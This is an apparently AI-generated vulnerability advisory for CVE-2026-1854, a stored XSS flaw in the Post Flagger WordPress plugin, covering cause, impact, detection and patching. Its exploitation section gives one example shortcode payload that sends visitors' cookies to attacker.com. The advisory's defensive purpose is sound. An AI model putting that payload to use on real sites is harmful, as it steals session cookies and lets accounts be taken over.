
Cloud Vulnerability DB
A community-led vulnerabilities database
CVE-2026-1854 is a Stored Cross-Site Scripting (XSS) vulnerability in the Post Flagger plugin for WordPress, affecting all versions up to and including 1.1. The flaw arises from insufficient input sanitization and output escaping on user-supplied attributes within the plugin's flag shortcode. Authenticated attackers with contributor-level access or above can inject arbitrary web scripts into pages, which execute for any user who visits the affected page. It was published on March 21, 2026, and carries a CVSS v3.1 base score of 6.4 (Medium) (Red Hat CVE, Wordfence).
The root cause is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting). The vulnerability exists in the plugin's flag shortcode handler, where user-supplied shortcode attributes are neither sanitized on input nor escaped on output before being rendered in the page HTML. An attacker with at least contributor-level WordPress access can craft a post or page containing a malicious [flag] shortcode with injected JavaScript, which is then stored in the database and executed in the browsers of all subsequent visitors. The vulnerable code path is visible in the plugin source at line 66 of post-flagger.php (Wordfence, WordPress Trac).
Successful exploitation allows an authenticated contributor to persistently inject malicious scripts that execute in the context of any visitor's browser session, impacting both confidentiality (e.g., session cookie theft, credential harvesting) and integrity (e.g., page content manipulation, phishing redirects). Because the injected script runs for all users accessing the compromised page — including administrators — there is potential for privilege escalation or site takeover. Availability is not directly impacted (Red Hat CVE, Wordfence).
No public exploit code or active in-the-wild exploitation has been reported for CVE-2026-1854. The EPSS score is approximately 0.03%, indicating a low probability of near-term exploitation. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation requires authenticated access at the contributor level or above, which limits the attack surface compared to unauthenticated vulnerabilities (Wordfence, Red Hat CVE).
[flag] shortcode can be inserted.[flag attribute="<script>document.location='https://attacker.com/steal?c='+document.cookie</script>"], exploiting the lack of output escaping.wp-admin/post.php or the REST API containing <script> tags or encoded JavaScript within shortcode parameters; unusual edits to posts/pages by contributor-level accounts.wp_posts table) for entries containing <script>, javascript:, or encoded variants within [flag] shortcode attributes.[flag] shortcode; unusual referrer patterns in web server logs originating from affected pages.The vendor released a patched version of the Post Flagger plugin (version 1.2 or later) that addresses the insufficient sanitization and escaping. Site administrators should update the plugin to version 1.2 or later immediately via the WordPress plugin dashboard. As a temporary workaround, restrict contributor-level user registrations or disable the Post Flagger plugin until the update can be applied. Additionally, a Web Application Firewall (WAF) with XSS filtering rules can help mitigate exploitation attempts (Wordfence, WordPress Plugin Page).
Source: This report was generated using AI
Free Vulnerability Assessment
Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.
Get a personalized demo
"Best User Experience I have ever seen, provides full visibility to cloud workloads."
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
"We know that if Wiz identifies something as critical, it actually is."